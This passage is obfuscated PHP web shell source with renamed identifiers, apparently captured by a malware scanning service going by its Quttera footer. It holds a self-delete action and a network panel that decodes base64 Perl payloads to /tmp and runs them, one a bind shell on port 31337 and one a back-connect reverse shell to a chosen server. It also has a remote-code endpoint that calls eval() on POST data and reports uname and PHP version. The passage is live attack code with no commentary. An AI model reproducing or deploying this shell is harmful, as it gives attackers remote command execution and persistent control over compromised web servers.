fmqpmzie();
}
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
xfqhg();
}
function actionNetwork() {
fmqpmzie();
$qnsdal = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$hspzgt = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if (isset($_POST['rmiw'])) {
function xbnjinz($iudntl, $dmnpklqt) {
$zkkslfb = @fopen($iudntl, "w") or @function_exists('file_put_contents');
if ($zkkslfb) {
@fwrite($zkkslfb, @base64_decode($dmnpklqt));
@fclose($zkkslfb);
}
}
if ($_POST['rmiw'] == 'bpp') {
xbnjinz("/tmp/bp.pl", $hspzgt);
$ykqxendh = pqmrw("perl /tmp/bp.pl " . $_POST['tpjgri'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$ykqxendh\n" . pqmrw("ps aux | grep bp.pl") . "</pre>";
unlink("/tmp/bp.pl");
}
if ($_POST['rmiw'] == 'bcp') {
xbnjinz("/tmp/bc.pl", $qnsdal);
$ykqxendh = pqmrw("perl /tmp/bc.pl " . $_POST['tpjgri'] . " " . $_POST['mnarki'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$ykqxendh\n" . pqmrw("ps aux | grep bc.pl") . "</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
xfqhg();
}
function actionRC() {
if (!@$_POST['rmiw']) {
$muzkbsumz = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"safemode" => @ini_get('safe_mode')
);
echo serialize($muzkbsumz);
} else {
eval($_POST['rmiw']);
}
}
function mzwdpxtwv($ceqdytnfng) {
return gmrsp($ceqdytnfng, $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"]);
}
function gmrsp($cfmaofbegy, $orxtvzmuobkl) {
if (!$orxtvzmuobkl) {
return null;
}
$cfmaofbegy = base64_encode($cfmaofbegy);
$orxtvzmuobkl = base64_encode($orxtvzmuobkl);
$lpslxbiyc = '';
$tkpnmvl = '';
$akdbbejpogx = 0;
while ($akdbbejpogx < mb_strlen($cfmaofbegy)) {
for ($fqhbtmjg = 0; $fqhbtmjg < mb_strlen($orxtvzmuobkl); $fqhbtmjg++) {
$lpslxbiyc = bybtupb($cfmaofbegy, $akdbbejpogx) ^ bybtupb($orxtvzmuobkl, $fqhbtmjg);
$tkpnmvl .= chr($lpslxbiyc);
$akdbbejpogx++;
if ($akdbbejpogx >= mb_strlen($cfmaofbegy)) {
break;
}
}
}
return base64_encode($tkpnmvl);
}
function bybtupb($tbwhgnkslvwb, $vhzutv) {
$udsuahoyeamv = mb_substr($tbwhgnkslvwb, $vhzutv, 1, 'UTF-8');
if (mb_check_encoding($udsuahoyeamv, 'UTF-8')) {
$mrozgnonhvo = mb_convert_encoding($udsuahoyeamv, 'UTF-32BE', 'UTF-8');
return hexdec(bin2hex($mrozgnonhvo));
} else {
return null;
}
}
if (empty($_POST['badr'])) {
if (isset($hxdxkxvem) && function_exists('action' . $hxdxkxvem)) {
$_POST['badr'] = $hxdxkxvem;
} else {
$_POST['badr'] = 'SecInfo';
}
}
if (!empty($_POST['badr']) && function_exists('action' . $_POST['badr'])) {
call_user_func('action' . $_POST['badr']);
}
exit;
© 2023 Quttera Ltd. All rights reserved.